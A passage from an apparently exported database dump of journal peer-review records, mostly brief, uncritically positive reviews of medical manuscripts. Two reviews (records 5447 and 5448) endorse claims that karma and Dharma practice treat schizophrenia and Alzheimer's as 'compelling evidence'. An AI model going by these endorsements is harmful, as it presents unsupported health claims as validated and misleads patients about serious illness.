investments.\r\n\r\nThe manuscript effectively underscores the global efforts in cancer control, with a spotlight on international organizations and agencies working towards innovative solutions. The emphasis on the unique challenges faced by LMICs and least developed countries brings attention to the vulnerabilities associated with epidemiological, demographic, and economic transitions.\r\n\r\nThe comprehensive exploration of health financing systems, both from global development financial agencies and private philanthropy, adds depth to the understanding of the evolving landscape of healthcare funding. The manuscript skillfully navigates through trends in health spending, offering a nuanced perspective on the promising developments in disease containment.\r\n\r\nThe inclusion of trend analyses for development assistance to health, particularly by global philanthropy, provides valuable insights into the shifting dynamics over the past few decades. The discussion on the global alignment of national priorities and fiscal considerations serves as a vital lever for effective global cancer control.\r\n\r\nThe latter sections of the manuscript delve into specific strategies and initiatives, such as global cancer registries, screening programs, technology transfers, and the crucial role of vaccinations in preventing cancer. The authors emphasize the need for a global model for vaccine preventable cancers, calling for an integrated approach to address the growing cancer burden.\r\n\r\nIn conclusion, this manuscript serves as a comprehensive resource for researchers, policymakers, and practitioners involved in global health initiatives. Its thorough examination of global cancer control and health research, coupled with a focus on the role of philanthropy, makes it a valuable contribution to the field.','Proceed for Publication','2023-12-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5424,11687,14359,NULL,'5','g','y','y','y','The study’s approach to exploring morphological traits as predictive indicators in human screening is innovative and demonstrates potential for valuable contributions to this field\r\nExploring the Role of Some Morphological Traits in Predictive Human Screening: Key Insights and Findings\" is a commendable effort offering valuable preliminary insights into an intriguing area. With further elaboration on the implications and broader contextualization, this study has the potential to make a substantial contribution to the field of predictive human screening','Accepted','2024-01-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5425,14685,14382,NULL,'5','g','y','y','y','Blindness and Visual Impairment\" is an indispensable topic that warrants comprehensive attention due to its far-reaching impact on individuals and societies worldwide. Understanding the causes, effects, treatments, and societal implications of visual impairment is crucial for addressing the challenges faced by affected individuals and implementing effective interventions.','Accepted ','2024-01-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5426,12532,14385,NULL,'5','g','y','y','y','The exploration of Maternal Health Transformation through the utilization of IoMT for advanced risk assessment and monitoring is insightful. However, further elaboration on the practical implementation and specific IoMT technologies used could enhance the depth of the discussion.\r\n\r\nThe article is suitable for the publication process.\r\n\r\n','Accepted','2024-01-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5427,21392,14401,NULL,'5','g','y','y','y','Acknowledges and highlights the recognition of Covid-19 as a biphasic disease. This reflects an understanding of the virus\'s complex nature and the need for nuanced treatment approaches at different stage.\r\n\r\nensuring a well-rounded presentation of the information. Additionally, considering the evolving nature of research on COVID-19, it\'s recommended to provide the source or date of the information to maintain accuracy and credibility. Overall, the statement lays a foundation for further exploration into the intricate dynamics of the virus and its implications.','Accepted ','2024-01-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5428,16786,14464,NULL,'5','g','y','y','y','The submitted manuscript pertaining to the \"Unraveling the Underlying Factors of Hypertension in Obese Patients: Beyond the Weighty Culprit\" has been written nicely; the information is presented effectively, and the figures and points offered are of very good. The manuscript may be approved for publication.','The submitted manuscript pertaining to the \"Unraveling the Underlying Factors of Hypertension in Obese Patients: Beyond the Weighty Culprit\" has been written nicely; the information is presented effectively, and the figures and points offered are of very good. The manuscript may be approved for publication.','2024-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5429,21528,14522,NULL,'5','g','y','y','y','The given manuscript “The Effect of Continuous Positive Airway Pressure on Depressive Symptoms in Obstructive Sleep Apnea” has been well written and the information is effectively. It is quite interesting and also useful for further assessment researches also improve the understanding of Examination models and student impact. Hence the article can be accepted for the publication without revision.','The given manuscript “The Effect of Continuous Positive Airway Pressure on Depressive Symptoms in Obstructive Sleep Apnea” has been well written and the information is effectively. It is quite interesting and also useful for further assessment researches also improve the understanding of Examination models and student impact. Hence the article can be accepted for the publication without revision.','2024-02-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5430,9014,14546,NULL,'5','G','Y','Y','Y','Artificial intelligence algorithms for glioblastomas recognition in single photon emission tomography images is an interesting study and the authors have collected a unique dataset The paper is generally well written and structured, I feel this unique dataset recommend to publish online','Recommended to publish in online','2024-02-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5431,8784,14496,NULL,'5','G','Y','Y','Y','I found the study to be well-structured and thorough in its analysis. The researchers used a rigorous methodology in selecting and evaluating the included studies, which adds to the credibility of the findings. Furthermore, the use of a meta-analysis allowed for a more comprehensive and quantitative assessment of the impact of blood pressure management on post-endovascular therapy outcomes. One of the strengths of this study is its focus on endovascular therapy, which is a relatively new and rapidly advancing treatment for ischemic stroke. By specifically looking at the impact of blood pressure management in this context, the study provides valuable insights for clinicians and researchers in this field. Overall, this study to be a valuable addition to the literature \r\n','Recommended to publish in online','2024-03-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5432,10975,14656,NULL,'5','G','Y','Y','Y','1. The study takes a thorough approach in evaluating the impact of Guaifenesin and Theophylline on periodontal and dental health, considering both biochemical changes and clinical outcomes. This holistic perspective adds significant value to the research.\r\n2. The manuscript demonstrates meticulous attention to detail in its methodology section, providing clear and precise descriptions of sample preparation, reagent composition, and experimental procedures. Such rigor enhances the credibility and reproducibility of the findings.\r\n3. The utilization of state-of-the-art instrumentation, including the Biochemistry Analyzer and UV-Visible spectrophotometer, underscores the sophistication of the experimental setup. This not only ensures accurate measurements but also reflects the commitment to employing cutting-edge technology in scientific investigations.\r\n4. The results section offers valuable insights into the biochemical effects of Guaifenesin and Theophylline, particularly on enzymes such as CK-MB and LDH. The observed trends in enzyme activity shed light on the potential mechanisms underlying the drugs\' impact on oral and gingival health, enriching our understanding of their pharmacological properties.\r\n5. By linking biochemical findings with clinical observations, the study bridges the gap between laboratory research and real-world implications for patient care. The discussion on the implications for oral health management based on drug effects demonstrates the practical relevance of the research findings, making it highly impactful for healthcare professionals.\r\n6. The manuscript goes beyond mere data presentation to offer innovative recommendations for clinical practice. The suggestion to consider complementary medications to mitigate the adverse effects of Guaifenesin and Theophylline on LDH enzyme activity reflects a proactive approach to optimizing patient outcomes, which is commendable.\r\n7. Overall, the manuscript is well-organized and effectively communicates its key findings, thanks to clear writing and logical flow. The integration of figures and tables enhances data visualization and facilitates comprehension, contributing to the overall readability of the manuscript.','The manuscript Accepted Without Changes.','2024-03-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5433,5467,14658,NULL,'5','G','Y','Y','Y','1. This manuscript presents a comprehensive investigation into the effects of Thermal Dry Cupping Therapy on Type 2 Diabetes Mellitus (T2DM) patients. The results clearly demonstrate a significant decrease in fasting blood glucose levels, HbA1c, total cholesterol, and LDL, along with an increase in HDL levels post-treatment. These findings suggest the potential of Thermal Dry Cupping Therapy as a complementary approach to improve glucose metabolism and lipid profile in diabetic patients.\r\n2. The study design is robust, with a well-defined methodology including clear inclusion criteria and appropriate statistical analyses. The use of traditional glass cups heated with an open flame adds to the authenticity of the approach, aligning with established cupping practices.\r\n3. The positive outcomes observed in this study align with previous research highlighting the benefits of cupping therapy on various health conditions. The decrease in fasting blood glucose and HbA1c levels post-cupping therapy is particularly promising, indicating a potential avenue for managing T2DM alongside standard treatment regimens.\r\n4. The manuscript provides valuable insights into the mechanisms underlying the observed improvements, suggesting that cupping therapy may enhance blood circulation and stimulate nutrient supply to pancreatic beta cells, thereby influencing insulin production and glucose metabolism.\r\n5. Additionally, the significant decrease in total cholesterol and LDL levels, coupled with the increase in HDL levels post-treatment, underscores the potential of Thermal Dry Cupping Therapy to positively impact lipid profile parameters in diabetic patients, potentially reducing the risk of cardiovascular complications associated with dyslipidemia.\r\n6. Overall, this manuscript contributes to the growing body of evidence supporting the efficacy of cupping therapy as a complementary approach in managing T2DM. The findings warrant further investigation in larger-scale studies to validate the observed effects and elucidate the underlying mechanisms, ultimately advancing the integration of cupping therapy into holistic diabetes management strategies\r\n','The article was accepted without requiring any revisions, underscoring the quality and clarity of the research presented. ','2024-03-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5434,4494,14570,NULL,'6','G','N','Y','N','Overall, your manuscript provides a comprehensive overview of the potential risks associated with glyphosate-based herbicides in aquaculture in Turkey and suggests future research directions to address these concerns. Here are some review comments:\r\n\r\nClarity and Structure:\r\n\r\nThe introduction provides a clear overview of the topic and sets up the context well. However, consider breaking it down into smaller paragraphs to enhance readability.\r\nEnsure consistency in terminology usage throughout the manuscript.\r\nData Presentation:\r\n\r\nThe inclusion of Figure 1 and Figure 2 adds visual appeal and aids in understanding. Make sure to provide clear captions for figures and refer to them appropriately in the text.\r\nThe statistical data provided about aquaculture production in Turkey is valuable. However, it might be beneficial to include references for these statistics to validate their accuracy.\r\nLiterature Review:\r\n\r\nThe literature review section provides a good overview of previous studies related to glyphosate in aquaculture. However, ensure that all claims are supported by credible sources and provide proper citations.\r\nConsider integrating more recent studies if available, to ensure the review is up-to-date and comprehensive.\r\nExperimental Section:\r\n\r\nThe experimental section is detailed and well-structured, providing clear steps for the proposed research methodology. Ensure that all methods are described with sufficient detail to enable reproducibility.\r\nConsider providing justification for the selection of specific methodologies and techniques over alternatives.\r\nDiscussion:\r\n\r\nThe discussion effectively synthesizes the findings from previous studies and highlights the importance of ongoing research in this field. Ensure that conclusions drawn are supported by evidence presented earlier in the manuscript.\r\nConsider discussing potential limitations of the proposed research methodology and addressing how these limitations might impact the interpretation of results.\r\nConclusion:\r\n\r\nThe conclusion effectively summarizes the key findings and emphasizes the importance of ongoing research in addressing glyphosate risks in aquaculture.\r\nConsider reinforcing the call to action for collaboration among researchers and stakeholders to address the identified knowledge gaps and ensure the safety and sustainability of aquaculture practices in Turkey.\r\nLanguage and Style:\r\n\r\nProofread the manuscript carefully for grammatical errors, typos, and awkward phrasings.\r\nEnsure consistency in formatting and style throughout the manuscript.\r\nReferences:\r\n\r\nCheck the accuracy and completeness of the references cited in the manuscript.\r\nEnsure that all sources cited in the text are included in the reference list, and vice versa.\r\nIn summary, the manuscript provides valuable insights into the potential risks associated with glyphosate in aquaculture and proposes a systematic approach for future research. Addressing the above-mentioned points will further enhance the clarity, accuracy, and impact of the manuscript.',' the article published in estimated journal Journal of FisheriesSciences.com','2024-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5435,21493,14670,NULL,'5','G','Y','Y','Y','1. This manuscript offers a thorough examination of optimizing pharmacotherapy for atrial fibrillation (AF) and congestive heart failure (CHF). It adeptly covers key topics such as anticoagulation therapy, rate vs. rhythm control, and individualized treatment approaches. The emphasis on patient-centered care and the acknowledgment of innovative therapies make it a valuable resource for healthcare professionals.\"\r\n2. The discussion on guideline-directed medical therapy for CHF is particularly commendable, highlighting the importance of adapting treatments to individual patient needs. The manuscript\'s concise conclusion reinforces the significance of personalized medicine and evidence-based practices in improving patient outcomes.\"\r\n3. Overall, this review provides valuable insights into optimizing medication for AF and CHF. Its clarity and adherence to current guidelines make it an essential resource for healthcare professionals seeking to enhance patient care in cardiovascular medicine','This manuscript provides valuable insights into optimizing pharmacotherapy for atrial fibrillation and congestive heart failure, emphasizing personalized medicine and evidence-based guidelines','2024-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5436,11578,14671,NULL,'5','G','Y','Y','Y','This review provides a comprehensive and insightful overview of the challenges in managing HIV-associated neurocognitive disorder (HAND) and the potential role of polymeric nanoformulations in addressing these challenges. The detailed discussion on the blood-brain barrier and the need for targeted drug delivery is particularly enlightening.\"\r\n\r\nThe authors have done an excellent job in synthesizing a vast amount of literature on the epidemiology of HIV/AIDS and the global burden of the disease. The statistics provided underscore the urgency of finding effective treatments for HAND, making this review both timely and impactful.\"\r\n\r\nI appreciate the thorough analysis of the various factors contributing to the development of HAND, including demographic factors, comorbidities, and the impact of antiretroviral therapy. The review sheds light on the multifaceted nature of this disorder and the importance of a multidisciplinary approach to its management.\"\r\n\r\nThe discussion on the potential of natural compounds, such as resveratrol, in the management of HAND adds a novel dimension to the review. By exploring alternative treatment options beyond conventional antiretroviral drugs, the authors highlight the importance of innovation in addressing the complexities of HIV-associated neurocognitive disorders.\"\r\n\r\nOverall, this review offers valuable insights into the current state of research on HAND and the promising role of nanotechnology in drug delivery. The clarity of writing and organization make it accessible to both researchers and clinicians, contributing to the advancement of knowledge in this critical area of HIV/AIDS care.\"','Accept ','2024-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5437,11714,14684,NULL,'5','G','Y','Y','Y','1. The manuscript provides an extensive review of existing literature on ice climbing injuries, highlighting the scarcity of scientific data in this field. This background information greatly enriches the context of the study and enhances its relevance to the current body of knowledge.\r\n2. Methodological approach taken in this study is robust and well-described. The utilization of established injury scoring systems such as UIAA, OSICS, and NACA lends credibility to the data collection process. Additionally, the ethical considerations and approval from the RWTH Aachen ethics committee demonstrate a commitment to research integrity.\r\n3. The involvement of elite ice climbers, including World Cup winners, adds significant value to the study. Their participation provides insights into the injury profiles and incidence rates among top-level competitors, which can inform targeted injury prevention strategies for this specific demographic.\r\n4. Manuscript\'s examination of gender differences in injury patterns is commendable. By identifying higher risks for overuse injuries in female climbers, the study contributes to a more nuanced understanding of injury epidemiology in ice climbing and underscores the importance of tailored prevention measures.\r\n5. Discussion section offers valuable recommendations for injury prevention in competitive ice climbing, such as mandating helmet and eye goggle use and advocating for the development of protective gear like cut-resistant trousers. These practical insights have direct relevance to athlete safety and well-being.\r\n6. Conclusion appropriately acknowledges the limitations of the current study while suggesting avenues for future research. The exploration of potential changes in injury patterns with increased professionalization and specialization in ice climbing training represents a promising area for further investigation, providing a clear direction for subsequent studies in this field.','The article Accepted Without Changes is ready to be published.','2024-03-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5438,21497,14670,NULL,'2','G','D','Y','Y','The way this is currently written reads more like a commentary than a review article. Though secondary data that is falling in line with the theme of the journal was used and the Introduction brings the issue forward to the readers, but an analytical discussion with the help of necessary tables, graphs, pictures and illustrations is not sufficient. Additionally, statements or observations in the review article do not correlate with necessary citations. Instead, only a few complete references were listed at the end of the article. A Commentary might be a better fit. The are defined as, \"opinion articles written mostly by the veteran and experienced writers on a specific development, recent innovation or research findings that fall in line with the theme of the journal. They are very brief articles with the title and abstract that provides the gist of the topic to be discussed, with few key words. It straight away states the problems and provides a thorough analysis with the help of the illustrations, graphs and tables if necessary. It summarizes the topic with a brief conclusion, citing the references at the end.\"','','2024-04-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5439,21497,14670,NULL,'4','G','Y','Y','N','Fabulous analytical discussion with important points regarding breast cancer treatment! Please consider the following revisions:\r\n\r\n\r\nPage 2\r\n\r\n Line 2: Remove extra space between \"trial\" and \"presented\". \r\nLines 3, 4, and 23: Correct font inconsistencies.\r\n\r\nPage 3\r\n\r\nLine 17: Add space between \"potential\" and \"omission\"\r\n\r\n\r\n','','2024-04-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5440,18592,14711,NULL,'5','G','Y','Y','Y','1 This manuscript presents a well-structured study investigating the relationship between serum vitamin D levels and thyroid function tests in hypothyroid patients shedding light on an important aspect of autoimmune thyroid diseases.\r\n2 Utilization of quantitative methods and the inclusion of a significant sample size enhance the reliability of the findings providing a comprehensive analysis of the relationship between hypothyroidism vitamin D levels and autoimmune markers.\r\n3 The findings contribute to our understanding of the clinical implications of vitamin D deficiency in hypothyroidism, particularly in patients with positive anti-TPO antibodies highlighting the importance of assessing vitamin D status in managing autoimmune thyroid diseases.\r\n4 Discussion section effectively synthesizes the results with existing literature, providing valuable insights into the potential mechanisms underlying the observed associations and offering avenues for further research in elucidating the role of vitamin D in autoimmune thyroiditis.\r\n5 Manuscript\'s analysis of gender and age distribution among hypothyroid patients adds depth to the study corroborating previous research findings and emphasizing the differential impact of thyroid diseases across demographic groups.\r\n6 Conclusion and recommendations section succinctly summarizes the key findings and proposes avenues for future research emphasizing the importance of exploring vitamin D supplementation as a potential therapeutic approach for autoimmune thyroid diseases.\r\n','The article is accepted without changes and is ready for publication.','2024-04-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5441,9932,14725,NULL,'G','Y','Y','6','N','Clarity and Conciseness: The review comments are clear and concise, effectively summarizing the key findings and implications of the study.\r\n\r\nRelevance and Importance: The comments highlight the relevance of the study in understanding the etiology of gastric adenocarcinoma beyond Helicobacter pylori infection, which is important for developing effective treatment and prevention strategies.\r\n\r\nMethodology Overview: The comments briefly outline the methodology used in the study, providing enough information for understanding the approach without going into unnecessary detail.\r\n\r\nKey Findings: The comments effectively summarize the key findings of the study, emphasizing the absence of microbial alignment in both normal and diseased gastric tissue, which challenges the notion of microbial involvement in gastric adenocarcinoma.\r\n\r\nConclusion: The comments reiterate the importance of understanding the etiological factors behind gastric adenocarcinoma and emphasize that the findings suggest avenues for exploring other underlying mechanisms beyond microbial infection.\r\n\r\nOverall, the review comments provide a clear, concise, and informative overview of the study\'s methodology, findings, and implications, helping readers grasp the significance of the research in advancing our understanding of gastric adenocarcinoma etiology.','Accepted','2024-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5442,648,14712,NULL,'5','G','Y','Y','Y','The program\'s analysis of EEG correlation synchronity has shown high sensitivity in recognizing intergroup and individual differences, surpassing other EEG indicators. It can differentiate between norm and conditions like schizophrenia, depressive disorders, and sleep stages with remarkable accuracy.\r\n\r\nResearchers can utilize the program to conduct statistical analysis on EEG data, identify differences between groups, perform factor analysis, cluster analysis, and discriminant analysis. The results obtained from the program can help in understanding EEG patterns and differences between subjects.\r\n\r\nOverall, the Conan-EEG program offers a comprehensive platform for in-depth EEG analysis, making it a valuable tool for researchers and clinicians in the field of neurology and neuroscience.\r\n\r\n','Recommended to publish in online','2024-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5443,12532,14736,NULL,'5','G','Y','Y','Y','The manuscript offers a thorough and comprehensive examination of the health status of emergency physicians (EPs) at Salmaniya Medical Complex in Bahrain. The study not only assesses the physical conditions but also delves into the psychological well-being of the EPs. This holistic approach provides valuable insights into the overall health of this group, which is crucial for developing effective health strategies.\r\n\r\nHigh response rate of 96.7% (n = 58) adds credibility to the study\'s findings. Such a high participation rate indicates that the EPs were willing to share their health information, suggesting the importance and relevance of the study to the target population.\r\n\r\nThe study fills a gap in the existing literature by providing up-to-date data on the health status of EPs in Bahrain. By focusing on a specific geographical location and medical facility, the study offers insights that are directly applicable to emergency physicians working in similar settings.\r\n\r\nManuscript’s emphasis on mental health conditions like burnout, anxiety, and depression among EPs is particularly noteworthy. Given the stressful nature of their work, addressing mental health issues is crucial, and this study sheds light on the prevalence and significance of these conditions among EPs.\r\n\r\nIt majorly identifies key areas where improvement is needed, such as the lack of regular consultations with family physicians or GPs among EPs. This information is vital for healthcare institutions and policymakers to implement interventions that promote better health practices and support systems for EPs.\r\n\r\nThe findings of this study have important implications for future research and the development of targeted interventions. By highlighting the prevalence of certain medical and psychiatric conditions among EPs, the study paves the way for further investigations and the design of health promotion programs tailored to the needs of this specific group.\r\n\r\n','The study offers a thorough analysis of emergency physicians\' health, highlighting both physical and mental well-being, providing valuable insights for future interventions. With its high response rate and focus on mental health, this study underscores the need for tailored support strategies for emergency physicians.','2024-04-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5444,9911,14723,NULL,'2','g','n','y','y','The methodology of how the number of patients for the study was obtained and how to select which patients go into each group is not explained in detail.\r\nNor was the degree of ultrasound training of the doctors who performed the ultrasounds.','The study describes the use of ultrasonography for placement of central venous catheters, which has already been carried out in other studies with a much larger number of patients and similar results. The methodology of how the number of patients for the study was obtained and how to select which patients go into each group is not explained in detail.\r\nNor was the degree of ultrasound training of the doctors who performed the ultrasounds.\r\nGiven the limitations of the study, conclusions cannot be drawn. Studies with a larger number of patients are necessary.','2024-04-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5445,4512,14740,NULL,'6','G','N','Y','N','Introduction and Background:\r\nThe introduction effectively establishes the relevance of the study by discussing previous research on fish morphology and the limitations of using proportional differences. However, consider providing a clearer transition from the general background to the specific objectives of the study.\r\nLiterature Review:\r\nThe literature review provides a comprehensive overview of previous studies on meristic counts and morphometric measurements in various fish species. It effectively highlights the methodological challenges and the importance of advanced morphometric methods.\r\nIt might be beneficial to summarize the key findings of the referenced studies to provide a concise overview for readers. Additionally, consider discussing how these previous studies inform the current research objectives and hypotheses.\r\nMethodology:\r\nThe methodology section is adequately described, detailing the sampling procedure and measurement techniques used for meristic counts and morphometric measurements. The inclusion of specific references enhances the reproducibility of the study.\r\nConsider providing more justification for the choice of specific meristic traits and morphometric measurements examined in the study. This would help readers understand the rationale behind the selection of these variables and their relevance to the research objectives.\r\nResults:\r\nThe results section presents the findings of the meristic counts and morphometric measurements clearly, with tables summarizing the data effectively. The statistical analyses are appropriately described, and significant differences between males and females are highlighted.\r\nEnsure consistency in reporting statistical significance levels throughout the results section. For instance, consistently use \"p < 0.05\" instead of variations such as \"p < 0.001\" and \"p < 0.05\" in different parts of the text.\r\nDiscussion:\r\nThe discussion provides a thorough analysis of the results, comparing them with previous studies and discussing potential implications for fish stock management. It effectively highlights the significance of the findings and their contribution to the field of fish morphology.\r\nConsider further discussing the limitations of the study, such as potential sources of bias or variability in the data collection process. Addressing these limitations would strengthen the interpretation of the results and provide context for future research directions.\r\nLanguage and Style:\r\nThe language used is generally clear, and technical terminology is appropriate for the subject matter. However, some sentences could be rephrased for better clarity and readability.\r\nPay attention to grammatical accuracy and ensure consistency in formatting, particularly in table descriptions and statistical reporting.\r\n','The article published in estimated Journal of FisheriesSciences.com','2024-04-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5446,11350,14831,NULL,'y','y','n','y','y','Incorporating More Rules and Regulations:\r\n\r\nGlobal Perspective: Broaden the discussion beyond England to include a section on the worldwide regulation of pseudoscience in cancer services. You could mention:\r\n\r\nThe World Health Organization\'s (WHO) Traditional, Complementary and Integrative Medicine (TCIM) program, which works to integrate effective and safe practices into healthcare systems [1].\r\nRegional regulations, such as those in the European Union (EU) or specific countries with established guidelines for complementary therapies.\r\nNational Regulations (England):\r\n\r\nBriefly mention relevant regulations within England, such as those from the Medicines and Healthcare products Regulatory Agency (MHRA) regarding unlicensed medicines [2].\r\nFocus on Evidence-Based Practices: Emphasize the importance of promoting evidence-based practices within cancer care.\r\n\r\nAdding Information on Pharmacopoeia:\r\n\r\nBriefly explain the concept of pharmacopoeia as official standards for drugs and herbal products.\r\nMention that some countries have established pharmacopoeia for specific traditional medicines, but these may not be universally recognized.\r\nEscalation Procedures:\r\n\r\nInclude a section on how to escalate concerns about suspected pseudoscience in cancer services. This could involve:\r\nReporting to relevant regulatory bodies (MHRA in England\'s case).\r\nInternal reporting procedures within the National Health Service (NHS) Trusts.\r\nHere\'s how you might integrate these points:\r\n\r\nNew Section: Add a section titled \"Global and National Regulations\" or \"Regulation and Oversight.\"\r\nContent: Discuss the WHO\'s TCIM programme, relevant regulations in England (e.g., MHRA), and the importance of evidence-based practices.\r\nPharmacopoeia: Briefly mention the concept within the existing discussion or in a new section on standards for complementary therapies.\r\nEscalation Procedures: Dedicate a section or subsection to outlining reporting mechanisms for suspected pseudoscience, mentioning relevant regulatory bodies and internal NHS procedures.\r\nAdditional Resources:\r\n\r\n[1] World Health Organisation: Traditional, Complementary and Integrative Medicine (TCIM) (https://www.who.int/health-topics/traditional-complementary-and-integrative-medicine)\r\n[2] Medicines and Healthcare products Regulatory Agency (MHRA): Unlicensed Medicines (https://www.gov.uk/government/publications/supply-unlicensed-medicinal-products-specials)\r\nBy incorporating these suggestions, you can strengthen your paper by providing a more comprehensive overview of the regulatory landscape surrounding pseudoscience in cancer services. Remember to consult credible sources and adapt the information to the specific context of your research.\r\n\r\n\r\n','The article contains novelty but requires some additional information, the article needs to be thoroughly revised before resubmitting to ensure it is free from grammatical errors and typos.','2024-05-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5447,11578,14750,NULL,'5','G','Y','Y','Y','\r\n1 An enlightening and empowering read! This article beautifully articulates the profound connection between karma and health, offering fresh insights that inspire hope and guidance for those navigating rare and intractable diseases.\r\n2 A transformative exploration of ancient wisdom in modern healthcare! The intersection of spirituality and medicine presented in this article provides compelling evidence of the efficacy of Dharma in alleviating suffering and restoring well-being, offering a beacon of hope for those seeking relief.\"\r\n3 A compelling blend of science and spirituality! This article offers profound insights into the root causes of disease through the lens of karma, inspiring a newfound appreciation for the power of faith and compassion in healthcare.\r\n4 A beacon of hope for those facing health challenges! The practical tools for healing and transformation provided in this article, along with the compassionate guidance offered, serve as solace and support for individuals grappling with rare and intractable illnesses.\"\r\n5 A remarkable testament to the transformative power of Dharma! The case studies presented in this article highlight the importance of spiritual practices in addressing underlying causes of diseases, offering hope and relief to sufferers worldwide.\r\n6 An inspiring narrative of resilience and spiritual healing! The accounts shared in this article underscore the profound impact of Dharma in treating complex conditions like schizophrenia, offering insights into the spiritual dimensions of health and recovery.\r\n','The article \'Accepted Without Changes. ','2024-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5448,11519,14825,NULL,'5','G','Y','Y','Y','1 This manuscript offers a fascinating exploration of the intersection between medicine and spirituality, shedding light on how Buddhist principles can complement conventional medical approaches. The detailed cases presented provide compelling evidence of the potential efficacy of integrating spiritual practices into healthcare, particularly in addressing conditions like dementia.\r\n2 The authors demonstrate a thorough understanding of both medical science and Buddhist philosophy, offering readers a comprehensive overview of how spiritual factors can influence physical health. The use of real-life case studies adds depth and credibility to their arguments, making this manuscript both informative and engaging.\r\n3 I was particularly impressed by the clarity and coherence of the writing style, which effectively communicates complex concepts to a diverse audience. The manuscript strikes an excellent balance between academic rigor and accessibility, ensuring that readers from various backgrounds can appreciate its insights.\r\n4 Manuscript not only highlights the limitations of conventional medical treatments for conditions like dementia but also proposes practical alternatives rooted in Buddhist practices. This innovative approach has the potential to revolutionize how we understand and manage complex health issues, offering hope to patients and their families.\r\n5 Overall, this manuscript is a valuable contribution to the fields of medicine and spirituality, providing fresh perspectives and inspiring future research directions. I commend the authors for their thought-provoking analysis and look forward to seeing how their work continues to shape discussions in this important area.\r\n6 Manuscript introduces a compelling alternative perspective on Alzheimer\'s treatment, emphasizing the potential benefits of Dharma practice. The inclusion of real-life cases adds credibility to the argument, offering a fresh angle to the discussion.\r\n7 The author\'s exploration of Dharma\'s role in Alzheimer\'s treatment provides a thought-provoking departure from conventional medical approaches. With insightful case studies and references to Buddhist teachings, this paper offers valuable insights for researchers and clinicians alike.\r\n','An insightful exploration of Dharma\'s potential in Alzheimer\'s treatment, backed by compelling real-life cases and a well-reasoned argument. I recommend to publish the article online.','2024-05-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5449,21677,14706,NULL,'5','G','Y','Y','Y','Accepted','Accept','2024-05-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5450,14534,14895,NULL,'5','G','Y','Y','Y','This manuscript provides a comprehensive examination of cervical cancer awareness in Somali land, a region where such data is crucial but scarce. The focus on reproductive-aged women in Hargeisa highlights a key demographic that can significantly benefit from improved awareness and preventative measures.\r\n\r\nThe use of a structured questionnaire and rigorous statistical analysis ensures the reliability and validity of the findings. The inclusion of both descriptive and advanced statistical analyses adds depth to the study, making the results more robust and actionable.\r\n\r\nThe manuscript presents significant findings that can inform public health strategies. Identifying the associations between knowledge and sociodemographic factors such as age, income, and education is particularly valuable for targeting educational and intervention programs effectively.\r\n\r\nThe conclusion offers practical and actionable recommendations, such as promoting health education and providing free screening services. These suggestions are well-grounded in the study’s findings and have the potential to make a meaningful impact on cervical cancer prevention in Somali land.\r\n\r\nThe manuscript adheres to ethical research standards, with proper clearance and participant consent processes in place. Additionally, the acknowledgements section appropriately credits the hospitals and individuals involved, reflecting a thorough and respectful approach to research collaboration.','','2024-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5451,21550,14894,NULL,'5','G','Y','Y','Y','This study addresses a crucial aspect of postoperative care, focusing on the often overlooked but significant discomfort of thirst among patients recovering from surgery.\r\n\r\nThe methodology employed in this research, including the true 